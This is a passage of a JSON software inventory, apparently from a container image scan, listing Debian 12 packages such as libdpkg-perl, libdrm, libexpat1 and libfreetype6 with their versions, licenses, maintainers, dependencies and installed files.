"Repository": { "Class": "official" }, "DependsOn": [ "dpkg@1.21.22" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/bug/libdpkg-perl", "/usr/share/doc/libdpkg-perl/changelog.gz", "/usr/share/doc/libdpkg-perl/copyright", "/usr/share/dpkg/no-pie-compile.specs", "/usr/share/dpkg/no-pie-link.specs", "/usr/share/dpkg/pie-compile.specs", "/usr/share/dpkg/pie-link.specs", "/usr/share/locale/ca/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/de/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/es/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/fr/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/nl/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/pl/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/pt/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/ru/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/sv/LC_MESSAGES/dpkg-dev.mo", "/usr/share/man/man3/Dpkg.3perl.gz", "/usr/share/man/man3/Dpkg::Arch.3perl.gz", "/usr/share/man/man3/Dpkg::Build::Info.3perl.gz", "/usr/share/man/man3/Dpkg::BuildEnv.3perl.gz", "/usr/share/man/man3/Dpkg::BuildFlags.3perl.gz", "/usr/share/man/man3/Dpkg::BuildInfo.3perl.gz", "/usr/share/man/man3/Dpkg::BuildOptions.3perl.gz", "/usr/share/man/man3/Dpkg::BuildProfiles.3perl.gz", "/usr/share/man/man3/Dpkg::BuildTypes.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Entry.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Entry::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Parse.3perl.gz", "/usr/share/man/man3/Dpkg::Checksums.3perl.gz", "/usr/share/man/man3/Dpkg::Compression.3perl.gz", "/usr/share/man/man3/Dpkg::Compression::FileHandle.3perl.gz", "/usr/share/man/man3/Dpkg::Compression::Process.3perl.gz", "/usr/share/man/man3/Dpkg::Conf.3perl.gz", "/usr/share/man/man3/Dpkg::Control.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Changelog.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Fields.3perl.gz", "/usr/share/man/man3/Dpkg::Control::FieldsCore.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Hash.3perl.gz", "/usr/share/man/man3/Dpkg::Control::HashCore.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Info.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Tests.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Tests::Entry.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Types.3perl.gz", "/usr/share/man/man3/Dpkg::Deps.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::AND.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::KnownFacts.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Multiple.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::OR.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Simple.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Union.3perl.gz", "/usr/share/man/man3/Dpkg::Exit.3perl.gz", "/usr/share/man/man3/Dpkg::Gettext.3perl.gz", "/usr/share/man/man3/Dpkg::IPC.3perl.gz", "/usr/share/man/man3/Dpkg::Index.3perl.gz", "/usr/share/man/man3/Dpkg::Interface::Storable.3perl.gz", "/usr/share/man/man3/Dpkg::Path.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Format.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package.3perl.gz", "/usr/share/man/man3/Dpkg::Substvars.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Default.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Devuan.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Ubuntu.3perl.gz", "/usr/share/man/man3/Dpkg::Version.3perl.gz", "/usr/share/perl5/Dpkg.pm", "/usr/share/perl5/Dpkg/Arch.pm", "/usr/share/perl5/Dpkg/Build/Info.pm", "/usr/share/perl5/Dpkg/BuildEnv.pm", "/usr/share/perl5/Dpkg/BuildFlags.pm", "/usr/share/perl5/Dpkg/BuildInfo.pm", "/usr/share/perl5/Dpkg/BuildOptions.pm", "/usr/share/perl5/Dpkg/BuildProfiles.pm", "/usr/share/perl5/Dpkg/BuildTypes.pm", "/usr/share/perl5/Dpkg/Changelog.pm", "/usr/share/perl5/Dpkg/Changelog/Debian.pm", "/usr/share/perl5/Dpkg/Changelog/Entry.pm", "/usr/share/perl5/Dpkg/Changelog/Entry/Debian.pm", "/usr/share/perl5/Dpkg/Changelog/Parse.pm", "/usr/share/perl5/Dpkg/Checksums.pm", "/usr/share/perl5/Dpkg/Compression.pm", "/usr/share/perl5/Dpkg/Compression/FileHandle.pm", "/usr/share/perl5/Dpkg/Compression/Process.pm", "/usr/share/perl5/Dpkg/Conf.pm", "/usr/share/perl5/Dpkg/Control.pm", "/usr/share/perl5/Dpkg/Control/Changelog.pm", "/usr/share/perl5/Dpkg/Control/Fields.pm", "/usr/share/perl5/Dpkg/Control/FieldsCore.pm", "/usr/share/perl5/Dpkg/Control/Hash.pm", "/usr/share/perl5/Dpkg/Control/HashCore.pm", "/usr/share/perl5/Dpkg/Control/Info.pm", "/usr/share/perl5/Dpkg/Control/Tests.pm", "/usr/share/perl5/Dpkg/Control/Tests/Entry.pm", "/usr/share/perl5/Dpkg/Control/Types.pm", "/usr/share/perl5/Dpkg/Deps.pm", "/usr/share/perl5/Dpkg/Deps/AND.pm", "/usr/share/perl5/Dpkg/Deps/KnownFacts.pm", "/usr/share/perl5/Dpkg/Deps/Multiple.pm", "/usr/share/perl5/Dpkg/Deps/OR.pm", "/usr/share/perl5/Dpkg/Deps/Simple.pm", "/usr/share/perl5/Dpkg/Deps/Union.pm", "/usr/share/perl5/Dpkg/Dist/Files.pm", "/usr/share/perl5/Dpkg/ErrorHandling.pm", "/usr/share/perl5/Dpkg/Exit.pm", "/usr/share/perl5/Dpkg/File.pm", "/usr/share/perl5/Dpkg/Getopt.pm", "/usr/share/perl5/Dpkg/Gettext.pm", "/usr/share/perl5/Dpkg/IPC.pm", "/usr/share/perl5/Dpkg/Index.pm", "/usr/share/perl5/Dpkg/Interface/Storable.pm", "/usr/share/perl5/Dpkg/Lock.pm", "/usr/share/perl5/Dpkg/OpenPGP.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/GnuPG.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/SOP.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/Sequoia.pm", "/usr/share/perl5/Dpkg/OpenPGP/ErrorCodes.pm", "/usr/share/perl5/Dpkg/OpenPGP/KeyHandle.pm", "/usr/share/perl5/Dpkg/Package.pm", "/usr/share/perl5/Dpkg/Path.pm", "/usr/share/perl5/Dpkg/Shlibs.pm", "/usr/share/perl5/Dpkg/Shlibs/Cppfilt.pm", "/usr/share/perl5/Dpkg/Shlibs/Objdump.pm", "/usr/share/perl5/Dpkg/Shlibs/Symbol.pm", "/usr/share/perl5/Dpkg/Shlibs/SymbolFile.pm", "/usr/share/perl5/Dpkg/Source/Archive.pm", "/usr/share/perl5/Dpkg/Source/BinaryFiles.pm", "/usr/share/perl5/Dpkg/Source/Format.pm", "/usr/share/perl5/Dpkg/Source/Functions.pm", "/usr/share/perl5/Dpkg/Source/Package.pm", "/usr/share/perl5/Dpkg/Source/Package/V1.pm", "/usr/share/perl5/Dpkg/Source/Package/V2.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Bzr.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Custom.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Git.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Native.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Quilt.pm", "/usr/share/perl5/Dpkg/Source/Patch.pm", "/usr/share/perl5/Dpkg/Source/Quilt.pm", "/usr/share/perl5/Dpkg/Substvars.pm", "/usr/share/perl5/Dpkg/Vars.pm", "/usr/share/perl5/Dpkg/Vendor.pm", "/usr/share/perl5/Dpkg/Vendor/Debian.pm", "/usr/share/perl5/Dpkg/Vendor/Default.pm", "/usr/share/perl5/Dpkg/Vendor/Devuan.pm", "/usr/share/perl5/Dpkg/Vendor/Ubuntu.pm", "/usr/share/perl5/Dpkg/Version.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm-amdgpu1@2.4.114-1+b1", "Name": "libdrm-amdgpu1", "Identifier": { "PURL": "pkg:deb/debian/libdrm-amdgpu1@2.4.114-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "c7641d82965608b6" }, "Version": "2.4.114", "Release": "1+b1", "Arch": "amd64", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdrm_amdgpu.so.1.0.0", "/usr/share/doc/libdrm-amdgpu1/changelog.Debian.amd64.gz", "/usr/share/doc/libdrm-amdgpu1/changelog.Debian.gz", "/usr/share/doc/libdrm-amdgpu1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm-common@2.4.114-1", "Name": "libdrm-common", "Identifier": { "PURL": "pkg:deb/debian/libdrm-common@2.4.114-1?arch=all\u0026distro=debian-12.13", "UID": "440438aa50545fef" }, "Version": "2.4.114", "Release": "1", "Arch": "all", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/libdrm-common/changelog.Debian.gz", "/usr/share/doc/libdrm-common/copyright", "/usr/share/libdrm/amdgpu.ids" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm-intel1@2.4.114-1+b1", "Name": "libdrm-intel1", "Identifier": { "PURL": "pkg:deb/debian/libdrm-intel1@2.4.114-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "152bfed92be13501" }, "Version": "2.4.114", "Release": "1+b1", "Arch": "amd64", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1", "libpciaccess0@0.17-2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdrm_intel.so.1.0.0", "/usr/share/doc/libdrm-intel1/changelog.Debian.amd64.gz", "/usr/share/doc/libdrm-intel1/changelog.Debian.gz", "/usr/share/doc/libdrm-intel1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm-nouveau2@2.4.114-1+b1", "Name": "libdrm-nouveau2", "Identifier": { "PURL": "pkg:deb/debian/libdrm-nouveau2@2.4.114-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "7c82c3388ac553d0" }, "Version": "2.4.114", "Release": "1+b1", "Arch": "amd64", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdrm_nouveau.so.2.0.0", "/usr/share/doc/libdrm-nouveau2/changelog.Debian.amd64.gz", "/usr/share/doc/libdrm-nouveau2/changelog.Debian.gz", "/usr/share/doc/libdrm-nouveau2/copyright", "/usr/share/lintian/overrides/libdrm-nouveau2" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm-radeon1@2.4.114-1+b1", "Name": "libdrm-radeon1", "Identifier": { "PURL": "pkg:deb/debian/libdrm-radeon1@2.4.114-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "a4fbfa735acc8b9f" }, "Version": "2.4.114", "Release": "1+b1", "Arch": "amd64", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdrm_radeon.so.1.0.1", "/usr/share/doc/libdrm-radeon1/changelog.Debian.amd64.gz", "/usr/share/doc/libdrm-radeon1/changelog.Debian.gz", "/usr/share/doc/libdrm-radeon1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdrm2@2.4.114-1+b1", "Name": "libdrm2", "Identifier": { "PURL": "pkg:deb/debian/libdrm2@2.4.114-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "63d3bd5036ee7894" }, "Version": "2.4.114", "Release": "1+b1", "Arch": "amd64", "SrcName": "libdrm", "SrcVersion": "2.4.114", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm-common@2.4.114-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdrm.so.2.4.0", "/usr/share/doc/libdrm2/NEWS.Debian.gz", "/usr/share/doc/libdrm2/changelog.Debian.amd64.gz", "/usr/share/doc/libdrm2/changelog.Debian.gz", "/usr/share/doc/libdrm2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libedit2@3.1-20221030-2", "Name": "libedit2", "Identifier": { "PURL": "pkg:deb/debian/libedit2@3.1-20221030-2?arch=amd64\u0026distro=debian-12.13", "UID": "3c5df6d990d123b2" }, "Version": "3.1-20221030", "Release": "2", "Arch": "amd64", "SrcName": "libedit", "SrcVersion": "3.1-20221030", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "LLVM Packaging Team \u003cpkg-llvm-team@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbsd0@0.11.7-2", "libc6@2.36-9+deb12u13", "libtinfo6@6.4-4" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libedit.so.2.0.70", "/usr/share/doc/libedit2/TODO.Debian", "/usr/share/doc/libedit2/changelog.Debian.gz", "/usr/share/doc/libedit2/changelog.gz", "/usr/share/doc/libedit2/copyright", "/usr/share/lintian/overrides/libedit2", "/usr/share/man/man5/editrc.5edit.gz", "/usr/share/man/man7/editline.7edit.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libelf1@0.188-2.1", "Name": "libelf1", "Identifier": { "PURL": "pkg:deb/debian/libelf1@0.188-2.1?arch=amd64\u0026distro=debian-12.13", "UID": "4be8e23a0a9b3cf7" }, "Version": "0.188", "Release": "2.1", "Arch": "amd64", "SrcName": "elfutils", "SrcVersion": "0.188", "SrcRelease": "2.1", "Licenses": [ "GPL-3.0-or-later", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-3.0-only", "BSD-2-Clause", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only", "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-3+ with Bison exception", "GPL-3.0-only" ], "Maintainer": "Debian Elfutils Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libelf-0.188.so", "/usr/share/doc/libelf1/changelog.Debian.gz", "/usr/share/doc/libelf1/changelog.gz", "/usr/share/doc/libelf1/copyright", "/usr/share/locale/de/LC_MESSAGES/elfutils.mo", "/usr/share/locale/en@boldquot/LC_MESSAGES/elfutils.mo", "/usr/share/locale/en@quot/LC_MESSAGES/elfutils.mo", "/usr/share/locale/es/LC_MESSAGES/elfutils.mo", "/usr/share/locale/ja/LC_MESSAGES/elfutils.mo", "/usr/share/locale/pl/LC_MESSAGES/elfutils.mo", "/usr/share/locale/uk/LC_MESSAGES/elfutils.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "liberror-perl@0.17029-2", "Name": "liberror-perl", "Identifier": { "PURL": "pkg:deb/debian/liberror-perl@0.17029-2?arch=all\u0026distro=debian-12.13", "UID": "4c075ce1725e1782" }, "Version": "0.17029", "Release": "2", "Arch": "all", "SrcName": "liberror-perl", "SrcVersion": "0.17029", "SrcRelease": "2", "Licenses": [ "Artistic-2.0", "GPL-1.0-or-later", "MIT/X11", "GPL-1.0-only" ], "Maintainer": "Debian Perl Group \u003cpkg-perl-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/doc/liberror-perl/changelog.Debian.gz", "/usr/share/doc/liberror-perl/changelog.gz", "/usr/share/doc/liberror-perl/copyright", "/usr/share/doc/liberror-perl/examples/example.pl", "/usr/share/doc/liberror-perl/examples/next-in-loop/Error.pm-eval.pl", "/usr/share/doc/liberror-perl/examples/next-in-loop/Error.pm-next-label.pl", "/usr/share/doc/liberror-perl/examples/next-in-loop/Error.pm-next-out-of-catch.pl", "/usr/share/doc/liberror-perl/examples/next-in-loop/Error.pm-next.pl", "/usr/share/doc/liberror-perl/examples/next-in-loop/README", "/usr/share/doc/liberror-perl/examples/warndie.pl", "/usr/share/man/man3/Error.3pm.gz", "/usr/share/man/man3/Error::Simple.3pm.gz", "/usr/share/perl5/Error.pm", "/usr/share/perl5/Error/Simple.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "libexpat1@2.5.0-1+deb12u2", "Name": "libexpat1", "Identifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "Version": "2.5.0", "Release": "1+deb12u2", "Arch": "amd64", "SrcName": "expat", "SrcVersion": "2.5.0", "SrcRelease": "1+deb12u2", "Licenses": [ "MIT" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libexpat.so.1.8.10", "/usr/lib/x86_64-linux-gnu/libexpatw.so.1.8.10", "/usr/share/doc/libexpat1/AUTHORS", "/usr/share/doc/libexpat1/changelog.Debian.gz", "/usr/share/doc/libexpat1/changelog.gz", "/usr/share/doc/libexpat1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libext2fs2@1.47.0-2+b2", "Name": "libext2fs2", "Identifier": { "PURL": "pkg:deb/debian/libext2fs2@1.47.0-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "e44563b933dd829f" }, "Version": "1.47.0", "Release": "2+b2", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.0", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.0-only", "BSD-3-Clause", "Apache-2.0", "ISC", "GPL-2.0-or-later", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libe2p.so.2.3", "/lib/x86_64-linux-gnu/libext2fs.so.2.4", "/usr/share/doc/libext2fs2/changelog.Debian.amd64.gz", "/usr/share/doc/libext2fs2/changelog.Debian.gz", "/usr/share/doc/libext2fs2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libffi8@3.4.4-1", "Name": "libffi8", "Identifier": { "PURL": "pkg:deb/debian/libffi8@3.4.4-1?arch=amd64\u0026distro=debian-12.13", "UID": "156b27615262356d" }, "Version": "3.4.4", "Release": "1", "Arch": "amd64", "SrcName": "libffi", "SrcVersion": "3.4.4", "SrcRelease": "1", "Licenses": [ "MIT", "X11", "GPL-2.0-or-later", "GPL-3.0-or-later", "MPL-1.1", "LGPL-2.1-or-later", "public-domain" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libffi.so.8.1.2", "/usr/share/doc/libffi8/changelog.Debian.gz", "/usr/share/doc/libffi8/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libfontconfig1@2.14.1-4", "Name": "libfontconfig1", "Identifier": { "PURL": "pkg:deb/debian/libfontconfig1@2.14.1-4?arch=amd64\u0026distro=debian-12.13", "UID": "2baf8a41e500c541" }, "Version": "2.14.1", "Release": "4", "Arch": "amd64", "SrcName": "fontconfig", "SrcVersion": "2.14.1", "SrcRelease": "4", "Maintainer": "Debian freedesktop.org maintainers \u003cpkg-freedesktop-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "fontconfig-config@2.14.1-4", "libc6@2.36-9+deb12u13", "libexpat1@2.5.0-1+deb12u2", "libfreetype6@2.12.1+dfsg-5+deb12u4" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libfontconfig.so.1.12.0", "/usr/share/doc/libfontconfig1/changelog.Debian.gz", "/usr/share/doc/libfontconfig1/changelog.gz", "/usr/share/doc/libfontconfig1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libfontenc1@1:1.1.4-1", "Name": "libfontenc1", "Identifier": { "PURL": "pkg:deb/debian/libfontenc1@1.1.4-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "9bc3fcb5130934b5" }, "Version": "1.1.4", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libfontenc", "SrcVersion": "1.1.4", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libfontenc.so.1.0.0", "/usr/share/doc/libfontenc1/changelog.Debian.gz", "/usr/share/doc/libfontenc1/changelog.gz", "/usr/share/doc/libfontenc1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libfreetype6@2.12.1+dfsg-5+deb12u4", "Name": "libfreetype6", "Identifier": { "PURL": "pkg:deb/debian/libfreetype6@2.12.1%2Bdfsg-5%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "e54686d4163336c6" }, "Version": "2.12.1+dfsg", "Release": "5+deb12u4", "Arch": "amd64", "SrcName": "freetype", "SrcVersion": "2.12.1+dfsg", "SrcRelease": "5+deb12u4", "Licenses": [ "FTL", "MIT", "BSD-3-Clause", "FSFAP", "GPL-3.0-or-later", "GPL-2.0-or-later", "Public-Domain", "BSL-1.0", "Zlib", "OpenGroup-BSD-like", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Hugh McMaster \u003chugh.mcmaster@outlook.com\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbrotli1@1.0.9-2+b6", "libc6@2.36-9+deb12u13", "libpng16-16@1.6.39-2+deb12u1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libfreetype.so.6.18.3", "/usr/share/doc/libfreetype6/README", "/usr/share/doc/libfreetype6/changelog.Debian.gz", "/usr/share/doc/libfreetype6/changelog.gz", "/usr/share/doc/libfreetype6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libfribidi0@1.0.8-2.1", "Name": "libfribidi0", "Identifier": { "PURL": "pkg:deb/debian/libfribidi0@1.0.8-2.1?arch=amd64\u0026distro=debian-12.13", "UID": "43915e8ba17e5881" }, "Version": "1.0.8", "Release": "2.1", "Arch": "amd64", "SrcName": "fribidi", "SrcVersion": "1.0.8", "SrcRelease": "2.1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only" ], "Maintainer": "Debian Hebrew Packaging Team \u003cteam+hebrew@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libfribidi.so.0.4.0", "/usr/share/doc/libfribidi0/NEWS.gz", "/usr/share/doc/libfribidi0/README", "/usr/share/doc/libfribidi0/THANKS", "/usr/share/doc/libfribidi0/TODO", "/usr/share/doc/libfribidi0/changelog.Debian.gz", "/usr/share/doc/libfribidi0/changelog.gz", "/usr/share/doc/libfribidi0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgbm1@22.3.6-1+deb12u1", "Name": "libgbm1", "Identifier": { "PURL": "pkg:deb/debian/libgbm1@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "daf4364d5855a870" }, "Version": "22.3.6", "Release": "1+deb12u1", "Arch": "amd64", "SrcName": "mesa", "SrcVersion": "22.3.6", "SrcRelease": "1+deb12u1", "Licenses": [ "MIT", "BSD-3-google", "Khronos", "Apache-2.0", "BSL-1.0", "MLAA", "SGI", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1", "libexpat1@2.5.0-1+deb12u2", "libwayland-server0@1.21.0-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgbm.so.1.0.0", "/usr/share/bug/libgbm1/control", "/usr/share/bug/libgbm1/script", "/usr/share/doc/libgbm1/changelog.Debian.gz", "/usr/share/doc/libgbm1/changelog.gz", "/usr/share/doc/libgbm1/copyright", "/usr/share/lintian/overrides/libgbm1" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-12-dev@12.2.0-14+deb12u1", "Name": "libgcc-12-dev", "Identifier": { "PURL": "pkg:deb/debian/libgcc-12-dev@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "2c5f5d080b17f04" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libasan8@12.2.0-14+deb12u1", "libatomic1@12.2.0-14+deb12u1", "libgcc-s1@12.2.0-14+deb12u1", "libgomp1@12.2.0-14+deb12u1", "libitm1@12.2.0-14+deb12u1", "liblsan0@12.2.0-14+deb12u1", "libquadmath0@12.2.0-14+deb12u1", "libtsan2@12.2.0-14+deb12u1", "libubsan1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, 